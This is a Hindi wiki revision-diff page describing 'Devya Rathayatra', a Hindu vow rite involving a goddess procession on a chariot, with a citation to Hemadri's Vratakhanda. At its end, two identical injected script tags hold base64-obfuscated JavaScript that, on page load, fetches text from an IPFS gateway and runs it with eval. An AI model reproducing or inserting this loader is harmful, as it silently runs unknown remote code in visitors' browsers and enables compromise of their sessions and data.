"देव्या रथयात्रा": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
No edit summary
 
पंक्ति 4: पंक्ति 4:
*इसमें नगर, गलियाँ, घर, द्वार सजे एवं दीपित रहते हैं।  
*इसमें नगर, गलियाँ, घर, द्वार सजे एवं दीपित रहते हैं।  
*इससे सुख, गौरव, समृद्धि एवं पुत्रों की प्राप्ति होती है।<ref>हेमाद्रि व्रतखण्ड 2, 420-424</ref>
*इससे सुख, गौरव, समृद्धि एवं पुत्रों की प्राप्ति होती है।<ref>हेमाद्रि व्रतखण्ड 2, 420-424</ref>
 
{{प्रचार}}
{{संदर्भ ग्रंथ}}
{{संदर्भ ग्रंथ}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==

12:04, 15 जून 2011 के समय का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • पंचमी, सप्तमी, नवमी, एकादशी या तृतीया को या शिव एवं गणेश के दिनों में राजा ईंटों या प्रस्तर खण्डों से एक ढाँचा खड़ा करके उसमें देवी की प्रतिमा प्रतिस्थापित करता है।
  • वह सोने के धागों से सजाकर एक रथ तैयार करके उसमें देवी को रखता है और तब पुरुषों एवं नारियों के एक जुलूस में देवी को अपने निवास पर ले जाता है।
  • इसमें नगर, गलियाँ, घर, द्वार सजे एवं दीपित रहते हैं।
  • इससे सुख, गौरव, समृद्धि एवं पुत्रों की प्राप्ति होती है।[1]


टीका टिप्पणी और संदर्भ

  1. हेमाद्रि व्रतखण्ड 2, 420-424

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>